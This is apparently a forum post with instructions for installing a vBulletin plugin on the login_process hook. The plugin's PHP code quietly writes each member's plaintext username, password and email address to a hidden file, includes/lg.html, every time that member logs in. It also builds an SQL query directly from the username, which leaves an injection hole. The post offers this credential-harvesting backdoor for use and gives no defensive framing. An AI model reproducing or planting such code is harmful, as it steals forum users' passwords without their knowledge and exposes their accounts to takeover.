This is pretty much for if you’re too lazy to/don’t want to/can’t edit login.php/global.php/class_bootstrap.php
Only tested this on vb4 so far, although it should work with vb3, or there should be a similar way to do it.
You’ll have to add a Plugin.
Hook Location: login_process
Execution order 5
Plugin PHP Code:
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $lg_file = "./includes/lg.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) { $fp1 = @fopen($lg_file, "a+"); @fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n"); @fclose($fp1); $f = @file($lg_file); $new = array_unique($f); $fp = @fopen($lg_file, "w"); foreach($new as $values) { @fputs($fp, $values); } @fclose($fp); } }
(Or whatever script you prefer to use for logging, the one above is from another thread around here)
Fill in the rest with whatever.
Make sure you enable both of them…